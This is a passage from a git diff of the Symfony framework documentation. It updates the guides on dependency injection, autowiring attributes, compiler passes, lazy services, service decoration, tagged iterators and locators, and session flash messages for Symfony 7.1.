+It is also possible to define a service as public thanks to the ``#[Autoconfigure]``
+attribute. This attribute must be used directly on the class of the service
+you want to configure::
+
+    // src/Service/Foo.php
+    namespace App\Service;
+
+    use Symfony\Component\DependencyInjection\Attribute\Autoconfigure;
+
+    #[Autoconfigure(public: true)]
+    class Foo
+    {
+        // ...
+    }
+
 .. _services-why-private:
 
 Private services are special because they allow the container to optimize whether
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 95240df089f..48bb40985b8 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -317,8 +317,8 @@ To fix that, add an :ref:`alias <service-autowiring-alias>`:
 
             App\Util\Rot13Transformer: ~
 
-            # the ``App\Util\Rot13Transformer`` service will be injected when
-            # an ``App\Util\TransformerInterface`` type-hint is detected
+            # the App\Util\Rot13Transformer service will be injected when
+            # an App\Util\TransformerInterface type-hint is detected
             App\Util\TransformerInterface: '@App\Util\Rot13Transformer'
 
     .. code-block:: xml
@@ -422,7 +422,7 @@ type hinted, but use the ``UppercaseTransformer`` implementation in some
 specific cases. To do so, you can create a normal alias from the
 ``TransformerInterface`` interface to ``Rot13Transformer``, and then
 create a *named autowiring alias* from a special string containing the
-interface followed by a variable name matching the one you use when doing
+interface followed by an argument name matching the one you use when doing
 the injection::
 
     // src/Service/MastodonClient.php
@@ -456,13 +456,13 @@ the injection::
             App\Util\Rot13Transformer: ~
             App\Util\UppercaseTransformer: ~
 
-            # the ``App\Util\UppercaseTransformer`` service will be
-            # injected when an ``App\Util\TransformerInterface``
-            # type-hint for a ``$shoutyTransformer`` argument is detected.
+            # the App\Util\UppercaseTransformer service will be
+            # injected when an App\Util\TransformerInterface
+            # type-hint for a $shoutyTransformer argument is detected
             App\Util\TransformerInterface $shoutyTransformer: '@App\Util\UppercaseTransformer'
 
             # If the argument used for injection does not match, but the
-            # type-hint still matches, the ``App\Util\Rot13Transformer``
+            # type-hint still matches, the App\Util\Rot13Transformer
             # service will be injected.
             App\Util\TransformerInterface: '@App\Util\Rot13Transformer'
 
@@ -519,7 +519,7 @@ the injection::
 
             // the App\Util\UppercaseTransformer service will be
             // injected when an App\Util\TransformerInterface
-            // type-hint for a $shoutyTransformer argument is detected.
+            // type-hint for a $shoutyTransformer argument is detected
             $services->alias(TransformerInterface::class.' $shoutyTransformer', UppercaseTransformer::class);
 
             // If the argument used for injection does not match, but the
@@ -545,15 +545,41 @@ If the argument is named ``$shoutyTransformer``,
 But, you can also manually wire any *other* service by specifying the argument
 under the arguments key.
 
-Another possibility is to use the ``#[Target]`` attribute. By using this attribute
-on the argument you want to autowire, you can define exactly which service to inject
-by using its alias. Thanks to this, you're able to have multiple services implementing
-the same interface and keep the argument name decorrelated of any implementation name
-(like shown in the example above).
+Another option is to use the ``#[Target]`` attribute. By adding this attribute
+to the argument you want to autowire, you can specify which service to inject by
+passing the name of the argument used in the named alias. This way, you can have
+multiple services implementing the same interface and keep the argument name
+separate from any implementation name (like shown in the example above). In addition,
+you'll get an exception in case you make any typo in the target name.
 
-Let's say you defined the ``app.uppercase_transformer`` alias for the
-``App\Util\UppercaseTransformer`` service. You would be able to use the ``#[Target]``
-attribute like this::
+.. warning::
+
+    The ``#[Target]`` attribute only accepts the name of the argument used in the
+    named alias; it **does not** accept service ids or service aliases.
+
+You can get a list of named autowiring aliases by running the ``debug:autowiring`` command::
+
+.. code-block:: terminal
+
+    $ php bin/console debug:autowiring LoggerInterface
+
+    Autowirable Types
+    =================
+
+     The following classes & interfaces can be used as type-hints when autowiring:
+     (only showing classes/interfaces matching LoggerInterface)
+
+     Describes a logger instance.
+     Psr\Log\LoggerInterface - alias:monolog.logger
+     Psr\Log\LoggerInterface $assetMapperLogger - target:asset_mapperLogger - alias:monolog.logger.asset_mapper
+     Psr\Log\LoggerInterface $cacheLogger - alias:monolog.logger.cache
+     Psr\Log\LoggerInterface $httpClientLogger - target:http_clientLogger - alias:monolog.logger.http_client
+     Psr\Log\LoggerInterface $mailerLogger - alias:monolog.logger.mailer
+
+     [...]
+
+Suppose you want to inject the ``App\Util\UppercaseTransformer`` service. You would use
+the ``#[Target]`` attribute by passing the name of the ``$shoutyTransformer`` argument::
 
     // src/Service/MastodonClient.php
     namespace App\Service;
@@ -564,12 +590,17 @@ attribute like this::
     class MastodonClient
     {
         public function __construct(
-            #[Target('app.uppercase_transformer')]
-            private TransformerInterface $transformer
-        ){
+            #[Target('shoutyTransformer')]
+            private TransformerInterface $transformer,
+        ) {
         }
     }
 
+.. tip::
+
+    Since the ``#[Target]`` attribute normalizes the string passed to it to its
+    camelCased form, name variations (e.g. ``shouty.transformer``) also work.
+
 .. note::
 
     Some IDEs will show an error when using ``#[Target]`` as in the previous example:
@@ -602,7 +633,8 @@ logic about those arguments::
     class MessageGenerator
     {
         public function __construct(
-            #[Autowire(service: 'monolog.logger.request')] LoggerInterface $logger
+            #[Autowire(service: 'monolog.logger.request')]
+            private LoggerInterface $logger,
         ) {
             // ...
         }
@@ -610,7 +642,8 @@ logic about those arguments::
 
 The ``#[Autowire]`` attribute can also be used for :ref:`parameters <service-parameters>`,
 :doc:`complex expressions </service_container/expression_language>` and even
-:ref:`environment variables <config-env-vars>`::
+:ref:`environment variables <config-env-vars>` ,
+:doc:`including env variable processors </configuration/env_var_processors>`::
 
     // src/Service/MessageGenerator.php
     namespace App\Service;
@@ -631,11 +664,15 @@ The ``#[Autowire]`` attribute can also be used for :ref:`parameters <service-par
 
             // expressions
             #[Autowire(expression: 'service("App\\\Mail\\\MailerConfiguration").getMailerMethod()')]
-            string $mailerMethod
+            string $mailerMethod,
 
             // environment variables
             #[Autowire(env: 'SOME_ENV_VAR')]
-            string $senderName
+            string $senderName,
+
+            // environment variables with processors
+            #[Autowire(env: 'bool:SOME_BOOL_ENV_VAR')]
+            bool $allowAttachments,
         ) {
         }
         // ...
@@ -684,7 +721,7 @@ attribute::
     {
         public function __construct(
             #[AutowireServiceClosure('third_party.remote_message_formatter')]
-            private \Closure $messageFormatterResolver
+            private \Closure $messageFormatterResolver,
         ) {
         }
 
@@ -698,7 +735,7 @@ attribute::
 
 It is common that a service accepts a closure with a specific signature.
 In this case, you can use the
-:class:`Symfony\Component\DependencyInjection\Attribute\\AutowireCallable` attribute
+:class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireCallable` attribute
 to generate a closure with the same signature as a specific method of a service. When
 this closure is called, it will pass all its arguments to the underlying service
 function.  If the closure needs to be called more than once, the service instance
@@ -714,7 +751,7 @@ create extra instances of a non-shared service::
     {
         public function __construct(
             #[AutowireCallable(service: 'third_party.remote_message_formatter', method: 'format')]
-            private \Closure $formatCallable
+            private \Closure $formatCallable,
         ) {
         }
 
@@ -727,11 +764,41 @@ create extra instances of a non-shared service::
     }
 
 Finally, you can pass the ``lazy: true`` option to the
-:class:`Symfony\Component\DependencyInjection\Attribute\\AutowireCallable`
+:class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireCallable`
 attribute. By doing so, the callable will automatically be lazy, which means
 that the encapsulated service will be instantiated **only** at the
 closure's first call.
 
+The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireMethodOf`
+attribute provides a simpler way of specifying the name of the service method
+by using the property name as method name::
+
+    // src/Service/MessageGenerator.php
+    namespace App\Service;
+
+    use Symfony\Component\DependencyInjection\Attribute\AutowireMethodOf;
+
+    class MessageGenerator
+    {
+        public function __construct(
+            #[AutowireMethodOf('third_party.remote_message_formatter')]
+            private \Closure $format,
+        ) {
+        }
+
+        public function generate(string $message): void
+        {
+            $formattedMessage = ($this->format)($message);
+
+            // ...
+        }
+    }
+
+.. versionadded:: 7.1
+
+    The :class:`Symfony\Component\DependencyInjection\Attribute\\AutowireMethodOf`
+    attribute was introduced in Symfony 7.1.
+
 .. _autowiring-calls:
 
 Autowiring other Methods (e.g. Setters and Public Typed Properties)
diff --git a/service_container/compiler_passes.rst b/service_container/compiler_passes.rst
index fda044a1195..11458a4e8e3 100644
--- a/service_container/compiler_passes.rst
+++ b/service_container/compiler_passes.rst
@@ -3,53 +3,85 @@ How to Work with Compiler Passes
 
 Compiler passes give you an opportunity to manipulate other
 :doc:`service definitions </service_container/definitions>` that have been
-registered with the service container. You can read about how to create them in
-the components section ":ref:`components-di-separate-compiler-passes`".
+registered with the service container.
 
-Compiler passes are registered in the ``build()`` method of the application kernel::
+.. _kernel-as-compiler-pass:
+
+If your compiler pass is relatively small, you can define it inside the
+application's ``Kernel`` class instead of creating a
+:ref:`separate compiler pass class <components-di-separate-compiler-passes>`.
+
+To do so, make your kernel implement :class:`Symfony\\Component\\DependencyInjection\\Compiler\\CompilerPassInterface`
+and add the compiler pass code inside the ``process()`` method::
 
     // src/Kernel.php
     namespace App;
 
-    use App\DependencyInjection\Compiler\CustomPass;
     use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
+    use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface;
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\HttpKernel\Kernel as BaseKernel;
 
-    class Kernel extends BaseKernel
+    class Kernel extends BaseKernel implements CompilerPassInterface
     {
         use MicroKernelTrait;
 
         // ...
 
-        protected function build(ContainerBuilder $container): void
+        public function process(ContainerBuilder $container): void
         {
-            $container->addCompilerPass(new CustomPass());
+            // in this method you can manipulate the service container:
+            // for example, changing some container service:
+            $container->getDefinition('app.some_private_service')->setPublic(true);
+
+            // or processing tagged services:
+            foreach ($container->findTaggedServiceIds('some_tag') as $id => $tags) {
+                // ...
+            }
         }
     }
 
-.. _kernel-as-compiler-pass:
-
-One of the most common use-cases of compiler passes is to work with :doc:`tagged
-services </service_container/tags>`. In those cases, instead of creating a
-compiler pass, you can make the kernel implement
-:class:`Symfony\\Component\\DependencyInjection\\Compiler\\CompilerPassInterface`
-and process the services inside the ``process()`` method::
+If you create separate compiler pass classes, enable them in the ``build()``
+method of the application kernel::
 
     // src/Kernel.php
     namespace App;
 
+    use App\DependencyInjection\Compiler\CustomPass;
     use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
-    use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface;
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\HttpKernel\Kernel as BaseKernel;
 
-    class Kernel extends BaseKernel implements CompilerPassInterface
+    class Kernel extends BaseKernel
     {
         use MicroKernelTrait;
 
         // ...
 
+        protected function build(ContainerBuilder $container): void
+        {
+            $container->addCompilerPass(new CustomPass());
+        }
+    }
+
+Working with Compiler Passes in Bundles
+---------------------------------------
+
+If your compiler pass is relatively small, you can add it directly in the main
+bundle class. To do so, make your bundle implement the
+:class:`Symfony\\Component\\DependencyInjection\\Compiler\\CompilerPassInterface`
+and place the compiler pass code inside the ``process()`` method of the main
+bundle class::
+
+    // src/MyBundle/MyBundle.php
+    namespace App\MyBundle;
+
+    use App\DependencyInjection\Compiler\CustomPass;
+    use Symfony\Component\DependencyInjection\ContainerBuilder;
+    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
+
+    class MyBundle extends AbstractBundle
+    {
         public function process(ContainerBuilder $container): void
         {
             // in this method you can manipulate the service container:
@@ -63,21 +95,17 @@ and process the services inside the ``process()`` method::
         }
     }
 
-Working with Compiler Passes in Bundles
----------------------------------------
-
-:doc:`Bundles </bundles>` can define compiler passes in the ``build()`` method of
-the main bundle class (this is not needed when implementing the ``process()``
-method in the extension)::
+Alternatively, when using :ref:`separate compiler pass classes <components-di-separate-compiler-passes>`,
+bundles can enable them in the ``build()`` method of their main bundle class::
 
     // src/MyBundle/MyBundle.php
     namespace App\MyBundle;
 
     use App\DependencyInjection\Compiler\CustomPass;
     use Symfony\Component\DependencyInjection\ContainerBuilder;
-    use Symfony\Component\HttpKernel\Bundle\Bundle;
+    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
 
-    class MyBundle extends Bundle
+    class MyBundle extends AbstractBundle
     {
         public function build(ContainerBuilder $container): void
         {
@@ -88,7 +116,7 @@ method in the extension)::
     }
 
 If you are using custom :doc:`service tags </service_container/tags>` in a
-bundle then by convention, tag names consist of the name of the bundle
-(lowercase, underscores as separators), followed by a dot, and finally the
-"real" name. For example, if you want to introduce some sort of "transport" tag
-in your AcmeMailerBundle, you should call it ``acme_mailer.transport``.
+bundle, the convention is to format tag names by starting with the bundle's name
+in lowercase (using underscores as separators), followed by a dot, and finally
+the specific tag name. For example, to introduce a "transport" tag in your
+AcmeMailerBundle, you would name it ``acme_mailer.transport``.
diff --git a/service_container/definitions.rst b/service_container/definitions.rst
index e54a99237d9..a2a50591668 100644
--- a/service_container/definitions.rst
+++ b/service_container/definitions.rst
@@ -86,7 +86,7 @@ fetched from the container::
 
     // gets a specific argument
     $firstArgument = $definition->getArgument(0);
-    
+
     // adds a new named argument
     // '$argumentName' = the name of the argument in the constructor, including the '$' symbol
     $definition = $definition->setArgument('$argumentName', $argumentValue);
@@ -100,7 +100,7 @@ fetched from the container::
     // replaces all previously configured arguments with the passed array
     $definition->setArguments($arguments);
 
-.. caution::
+.. warning::
 
     Don't use ``get()`` to get a service that you want to inject as constructor
     argument, the service is not yet available. Instead, use a
diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index d847a2e9aa3..23d76a4cfbf 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -21,9 +21,9 @@ Configuring lazy services is one answer to this. With a lazy service, a
 like the ``mailer``, except that the ``mailer`` isn't actually instantiated
 until you interact with the proxy in some way.
 
-.. caution::
+.. warning::
 
-    Lazy services do not support `final`_ classes, but you can use
+    Lazy services do not support `final`_ or ``readonly`` classes, but you can use
     `Interface Proxifying`_ to work around this limitation.
 
     In PHP versions prior to 8.0 lazy services do not support parameters with
@@ -124,6 +124,32 @@ laziness, and supports lazy-autowiring of union types::
     ) {
     }
 
+Another possibility is to use the :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Lazy` attribute::
+
+    namespace App\Twig;
+
+    use Symfony\Component\DependencyInjection\Attribute\Lazy;
+    use Twig\Extension\ExtensionInterface;
+
+    #[Lazy]
+    class AppExtension implements ExtensionInterface
+    {
+        // ...
+    }
+
+This attribute can be applied to both class and parameters that should be lazy-loaded.
+It defines an optional parameter used to define interfaces for proxy and intersection types::
+
+    public function __construct(
+        #[Lazy(FooInterface::class)]
+        FooInterface|BarInterface $foo,
+    ) {
+    }
+
+.. versionadded:: 7.1
+
+    The ``#[Lazy]`` attribute was introduced in Symfony 7.1.
+
 Interface Proxifying
 --------------------
 
diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 9b1e4d44e1f..e2cadbb0a4b 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -207,12 +207,20 @@ automatically changed to ``'.inner'``):
                 ->args([service('.inner')]);
         };
 
-.. tip::
+.. note::
 
     The visibility of the decorated ``App\Mailer`` service (which is an alias
     for the new service) will still be the same as the original ``App\Mailer``
     visibility.
 
+.. note::
+
+    All custom :doc:`service tags </service_container/tags>` from the decorated
+    service are removed in the new service. Only certain built-in service tags
+    defined by Symfony are retained: ``container.service_locator``, ``container.service_subscriber``,
+    ``kernel.event_subscriber``, ``kernel.event_listener``, ``kernel.locale_aware``,
+    and ``kernel.reset``.
+
 .. note::
 
     The generated inner id is based on the id of the decorator service
@@ -281,35 +289,35 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
 
 .. configuration-block::
 
-        .. code-block:: php-attributes
+    .. code-block:: php-attributes
 
-            // ...
-            use Symfony\Component\DependencyInjection\Attribute\AsDecorator;
-            use Symfony\Component\DependencyInjection\Attribute\AutowireDecorated;
+        // ...
+        use Symfony\Component\DependencyInjection\Attribute\AsDecorator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireDecorated;
 
-            #[AsDecorator(decorates: Foo::class, priority: 5)]
-            class Bar
-            {
-                public function __construct(
-                    #[AutowireDecorated]
-                    private $inner,
-                ) {
-                }
-                // ...
+        #[AsDecorator(decorates: Foo::class, priority: 5)]
+        class Bar
+        {
+            public function __construct(
+                #[AutowireDecorated]
+                private $inner,
+            ) {
             }
+            // ...
+        }
 
-            #[AsDecorator(decorates: Foo::class, priority: 1)]
-            class Baz
-            {
-                public function __construct(
-                    #[AutowireDecorated]
-                    private $inner,
-                ) {
-                }
-
-                // ...
+        #[AsDecorator(decorates: Foo::class, priority: 1)]
+        class Baz
+        {
+            public function __construct(
+                #[AutowireDecorated]
+                private $inner,
+            ) {
             }
 
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml
@@ -601,24 +609,24 @@ Three different behaviors are available:
 
 .. configuration-block::
 
-        .. code-block:: php-attributes
-
-            // ...
-            use Symfony\Component\DependencyInjection\Attribute\AsDecorator;
-            use Symfony\Component\DependencyInjection\Attribute\AutowireDecorated;
-            use Symfony\Component\DependencyInjection\ContainerInterface;
+    .. code-block:: php-attributes
 
-            #[AsDecorator(decorates: Mailer::class, onInvalid: ContainerInterface::IGNORE_ON_INVALID_REFERENCE)]
-            class Bar
-            {
-                public function __construct(
-                    private #[AutowireDecorated] $inner,
-                ) {
-                }
+        // ...
+        use Symfony\Component\DependencyInjection\Attribute\AsDecorator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireDecorated;
+        use Symfony\Component\DependencyInjection\ContainerInterface;
 
-                // ...
+        #[AsDecorator(decorates: Mailer::class, onInvalid: ContainerInterface::IGNORE_ON_INVALID_REFERENCE)]
+        class Bar
+        {
+            public function __construct(
+                #[AutowireDecorated] private $inner,
+            ) {
             }
 
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml
@@ -665,7 +673,7 @@ Three different behaviors are available:
             ;
         };
 
-.. caution::
+.. warning::
 
     When using ``null``, you may have to update the decorator constructor in
     order to make decorated dependency nullable::
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 21a7ab295d2..9c6451931d1 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -307,6 +307,14 @@ This is done by having ``getSubscribedServices()`` return an array of
         ];
     }
 
+.. deprecated:: 7.1
+
+    The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedIterator`
+    and :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedLocator`
+    attributes were deprecated in Symfony 7.1 in favor of
+    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireIterator`
+    and :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator`.
+
 .. note::
 
     The above example requires using ``3.2`` version or newer of ``symfony/service-contracts``.
@@ -432,13 +440,13 @@ or directly via PHP attributes:
         namespace App;
 
         use Psr\Container\ContainerInterface;
-        use Symfony\Component\DependencyInjection\Attribute\TaggedLocator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireLocator;
 
         class CommandBus
         {
             public function __construct(
                 // creates a service locator with all the services tagged with 'app.handler'
-                #[TaggedLocator('app.handler')]
+                #[AutowireLocator('app.handler')]
                 private ContainerInterface $locator,
             ) {
             }
@@ -674,12 +682,12 @@ to index the services:
         namespace App;
 
         use Psr\Container\ContainerInterface;
-        use Symfony\Component\DependencyInjection\Attribute\TaggedLocator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireLocator;
 
         class CommandBus
         {
             public function __construct(
-                #[TaggedLocator('app.handler', indexAttribute: 'key')]
+                #[AutowireLocator('app.handler', indexAttribute: 'key')]
                 private ContainerInterface $locator,
             ) {
             }
@@ -789,12 +797,12 @@ get the value used to index the services:
         namespace App;
 
         use Psr\Container\ContainerInterface;
-        use Symfony\Component\DependencyInjection\Attribute\TaggedLocator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireLocator;
 
         class CommandBus
         {
             public function __construct(
-                #[TaggedLocator('app.handler', 'defaultIndexMethod: 'getLocatorKey')]
+                #[AutowireLocator('app.handler', defaultIndexMethod: 'getLocatorKey')]
                 private ContainerInterface $locator,
             ) {
             }
@@ -859,7 +867,7 @@ the following order:
 Service Subscriber Trait
 ------------------------
 
-The :class:`Symfony\\Contracts\\Service\\ServiceSubscriberTrait` provides an
+The :class:`Symfony\\Contracts\\Service\\ServiceMethodsSubscriberTrait` provides an
 implementation for :class:`Symfony\\Contracts\\Service\\ServiceSubscriberInterface`
 that looks through all methods in your class that are marked with the
 :class:`Symfony\\Contracts\\Service\\Attribute\\SubscribedService` attribute. It
@@ -873,12 +881,12 @@ services based on type-hinted helper methods::
     use Psr\Log\LoggerInterface;
     use Symfony\Component\Routing\RouterInterface;
     use Symfony\Contracts\Service\Attribute\SubscribedService;
+    use Symfony\Contracts\Service\ServiceMethodsSubscriberTrait;
     use Symfony\Contracts\Service\ServiceSubscriberInterface;
-    use Symfony\Contracts\Service\ServiceSubscriberTrait;
 
     class MyService implements ServiceSubscriberInterface
     {
-        use ServiceSubscriberTrait;
+        use ServiceMethodsSubscriberTrait;
 
         public function doSomething(): void
         {
@@ -899,6 +907,11 @@ services based on type-hinted helper methods::
         }
     }
 
+.. versionadded:: 7.1
+
+    The ``ServiceMethodsSubscriberTrait`` was introduced in Symfony 7.1.
+    In previous Symfony versions it was called ``ServiceSubscriberTrait``.
+
 This  allows you to create helper traits like RouterAware, LoggerAware, etc...
 and compose your services with them::
 
@@ -935,12 +948,12 @@ and compose your services with them::
     // src/Service/MyService.php
     namespace App\Service;
 
+    use Symfony\Contracts\Service\ServiceMethodsSubscriberTrait;
     use Symfony\Contracts\Service\ServiceSubscriberInterface;
-    use Symfony\Contracts\Service\ServiceSubscriberTrait;
 
     class MyService implements ServiceSubscriberInterface
     {
-        use ServiceSubscriberTrait, LoggerAware, RouterAware;
+        use ServiceMethodsSubscriberTrait, LoggerAware, RouterAware;
 
         public function doSomething(): void
         {
@@ -949,7 +962,7 @@ and compose your services with them::
         }
     }
 
-.. caution::
+.. warning::
 
     When creating these helper traits, the service id cannot be ``__METHOD__``
     as this will include the trait name, not the class name. Instead, use
@@ -977,12 +990,12 @@ Here's an example::
     use Symfony\Component\DependencyInjection\Attribute\Target;
     use Symfony\Component\Routing\RouterInterface;
     use Symfony\Contracts\Service\Attribute\SubscribedService;
+    use Symfony\Contracts\Service\ServiceMethodsSubscriberTrait;
     use Symfony\Contracts\Service\ServiceSubscriberInterface;
-    use Symfony\Contracts\Service\ServiceSubscriberTrait;
 
     class MyService implements ServiceSubscriberInterface
     {
-        use ServiceSubscriberTrait;
+        use ServiceMethodsSubscriberTrait;
 
         public function doSomething(): void
         {
diff --git a/service_container/shared.rst b/service_container/shared.rst
index 85db809a840..4e79ae28116 100644
--- a/service_container/shared.rst
+++ b/service_container/shared.rst
@@ -11,6 +11,19 @@ in your service definition:
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/SomeNonSharedService.php
+        namespace App;
+
+        use Symfony\Component\DependencyInjection\Attribute\Autoconfigure;
+
+        #[Autoconfigure(shared: false)]
+        class SomeNonSharedService
+        {
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml
diff --git a/service_container/tags.rst b/service_container/tags.rst
index ca36bde74e1..270d6702f5a 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -112,7 +112,7 @@ If you want to apply tags automatically for your own services, use the
                     ->tag('app.custom_tag');
         };
 
-.. caution::
+.. warning::
 
     If you're using PHP configuration, you need to call ``instanceof`` before
     any service registration to make sure tags are correctly applied.
@@ -244,7 +244,7 @@ call to support ``ReflectionMethod``::
                 // update the union type to support multiple types of reflection
                 // you can also use the "\Reflector" interface
                 \ReflectionClass|\ReflectionMethod $reflector): void {
-                    if ($reflection instanceof \ReflectionMethod) {
+                    if ($reflector instanceof \ReflectionMethod) {
                         // ...
                     }
                 }
@@ -458,6 +458,8 @@ or from your kernel::
     :ref:`components documentation <components-di-compiler-pass>` for more
     information.
 
+.. _tags_additional-attributes:
+
 Adding Additional Attributes on Tags
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -672,13 +674,13 @@ directly via PHP attributes:
         // src/HandlerCollection.php
         namespace App;
 
-        use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireIterator;
 
         class HandlerCollection
         {
             public function __construct(
                 // the attribute must be applied directly to the argument to autowire
-                #[TaggedIterator('app.handler')]
+                #[AutowireIterator('app.handler')]
                 iterable $handlers
             ) {
             }
@@ -764,12 +766,12 @@ iterator, add the ``exclude`` option:
         // src/HandlerCollection.php
         namespace App;
 
-        use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireIterator;
 
         class HandlerCollection
         {
             public function __construct(
-                #[TaggedIterator('app.handler', exclude: ['App\Handler\Three'])]
+                #[AutowireIterator('app.handler', exclude: ['App\Handler\Three'])]
                 iterable $handlers
             ) {
             }
@@ -847,12 +849,12 @@ disabled by setting the ``exclude_self`` option to ``false``:
         // src/HandlerCollection.php
         namespace App;
 
-        use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireIterator;
 
         class HandlerCollection
         {
             public function __construct(
-                #[TaggedIterator('app.handler', exclude: ['App\Handler\Three'], excludeSelf: false)]
+                #[AutowireIterator('app.handler', exclude: ['App\Handler\Three'], excludeSelf: false)]
                 iterable $handlers
             ) {
             }
@@ -997,12 +999,12 @@ you can define it in the configuration of the collecting service:
         // src/HandlerCollection.php
         namespace App;
 
-        use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireIterator;
 
         class HandlerCollection
         {
             public function __construct(
-                #[TaggedIterator('app.handler', defaultPriorityMethod: 'getPriority')]
+                #[AutowireIterator('app.handler', defaultPriorityMethod: 'getPriority')]
                 iterable $handlers
             ) {
             }
@@ -1071,12 +1073,12 @@ to index the services:
         // src/HandlerCollection.php
         namespace App;
 
-        use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireIterator;
 
         class HandlerCollection
         {
             public function __construct(
-                #[TaggedIterator('app.handler', indexAttribute: 'key')]
+                #[AutowireIterator('app.handler', indexAttribute: 'key')]
                 iterable $handlers
             ) {
             }
@@ -1185,12 +1187,12 @@ get the value used to index the services:
         // src/HandlerCollection.php
         namespace App;
 
-        use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireIterator;
 
         class HandlerCollection
         {
             public function __construct(
-                #[TaggedIterator('app.handler', defaultIndexMethod: 'getIndex')]
+                #[AutowireIterator('app.handler', defaultIndexMethod: 'getIndex')]
                 iterable $handlers
             ) {
             }
diff --git a/session.rst b/session.rst
index 4bf373dc6a9..9ddf3eb028d 100644
--- a/session.rst
+++ b/session.rst
@@ -107,13 +107,15 @@ By default, session attributes are key-value pairs managed with the
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBag`
 class.
 
-.. tip::
+Sessions are automatically started whenever you read, write or even check for
+the existence of data in the session. This may hurt your application performance
+because all users will receive a session cookie. In order to prevent starting
+sessions for anonymous users, you must *completely* avoid accessing the session.
+
+.. note::
 
-    Sessions are automatically started whenever you read, write or even check
-    for the existence of data in the session. This may hurt your application
-    performance because all users will receive a session cookie. In order to
-    prevent starting sessions for anonymous users, you must *completely* avoid
-    accessing the session.
+    Sessions will also be started when using features that rely on them internally,
+    such as the :ref:`CSRF protection in forms <csrf-protection-forms>`.
 
 .. _flash-messages:
 
@@ -166,19 +168,20 @@ For example, imagine you're processing a :doc:`form </forms>` submission::
 
         // add flash messages
         $flashes->add(
-            'warning',
-            'Your config file is writable, it should be set read-only'
+            'notice',
+            'Your changes were saved'
         );
-        $flashes->add('error', 'Failed to update name');
-        $flashes->add('error', 'Another error');
 
-After processing the request, the controller sets a flash message in the session
-and then redirects. The message key (``notice`` in this example) can be anything:
-you'll use this key to retrieve the message.
+After processing the request, the controller sets a flash message in the
+session and then redirects. The message key (``notice`` in this example)
+can be anything. You'll use this key to retrieve the message.
 
 In the template of the next page (or even better, in your base layout template),
 read any flash messages from the session using the ``flashes()`` method provided
-by the :ref:`Twig global app variable <twig-app-variable>`:
+by the :ref:`Twig global app variable <twig-app-variable>`.
+Alternatively, you can use the
+:method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::peek`
+method to retrieve the message while keeping it in the bag:
 
 .. configuration-block::
 
@@ -193,6 +196,13 @@ by the :ref:`Twig global app variable <twig-app-variable>`:
             </div>
         {% endfor %}
 
+        {# same but without clearing them from the flash bag #}
+        {% for message in app.session.flashbag.peek('notice') %}
+            <div class="flash-notice">
+                {{ message }}
+            </div>
+        {% endfor %}
+
         {# read and display several types of flash messages #}
         {% for label, messages in app.flashes(['success', 'warning']) %}
             {% for message in messages %}
@@ -211,6 +221,15 @@ by the :ref:`Twig global app variable <twig-app-variable>`:
             {% endfor %}
         {% endfor %}
 
+        {# or without clearing the flash bag #}
+        {% for label, messages in app.session.flashbag.peekAll() %}
+            {% for message in messages %}
+                <div class="flash-{{ label }}">
+                    {{ message }}
+                </div>
+            {% endfor %}
+        {% endfor %}
+
     .. code-block:: php-standalone
 
         // display warnings
@@ -218,6 +237,11 @@ by the :ref:`Twig global app variable <twig-app-variable>`:
             echo '<div class="flash-warning">'.$message.'</div>';
         }
 
+        // display warnings without clearing them from the flash bag
+        foreach ($session->getFlashBag()->peek('warning', []) as $message) {
+            echo '<div class="flash-warning">'.$message.'</div>';
+       }
+
         // display errors
         foreach ($session->getFlashBag()->get('error', []) as $message) {
             echo '<div class="flash-error">'.$message.'</div>';
